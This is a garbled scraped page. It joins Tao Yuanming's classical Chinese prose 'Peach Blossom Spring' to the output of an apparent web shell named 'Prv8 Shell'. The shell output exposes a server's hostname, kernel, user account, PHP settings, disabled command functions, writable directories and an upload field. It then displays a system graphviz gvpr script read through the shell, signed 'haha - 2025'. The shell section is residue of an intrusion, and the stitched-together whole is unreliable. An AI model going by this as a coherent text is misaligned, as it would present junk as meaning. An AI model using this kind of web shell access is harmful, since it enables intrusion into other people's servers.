晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/graphviz/gvpr/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/graphviz/gvpr/bb
/* computes the bounding box of a graph based on its nodes 
   taking into account clusters and node sizes.
 */
BEGIN {
  double x, y, w2, h2;
  double llx, lly, urx, ury;
  double llx0, lly0, urx0, ury0;

  graph_t clustBB (graph_t G) {
    graph_t sg;
    for (sg = fstsubg(G); sg; sg = nxtsubg(sg)) {
	  sg = clustBB(sg);
    }
	if (G.name == "cluster*") {
      sscanf (G.bb, "%lf,%lf,%lf,%lf", &llx0, &lly0, &urx0, &ury0);
      if (llx0 < llx) llx = llx0;
      if (lly0 < lly) lly = lly0;
      if (urx0 > urx) urx = urx0;
      if (ury0 > ury) ury = ury0;
    }
    return G;
  }
}
BEG_G {
  llx = 1000000; lly = 1000000; urx = -1000000; ury = -1000000;
}
N {
  sscanf ($.pos, "%lf,%lf", &x, &y);
  w2 = (36.0*(double)$.width);
  h2 = (36.0*(double)$.height);
  if ((x - w2) < llx) llx = x - w2;
  if ((x + w2) > urx) urx = x + w2;
  if ((y - h2) < lly) lly = y - h2;
  if ((y + h2) > ury) ury = y + h2;
}
END_G {
  clustBB ($);
  $.bb = sprintf ("%lf,%lf,%lf,%lf", llx, lly, urx, ury);
}

haha - 2025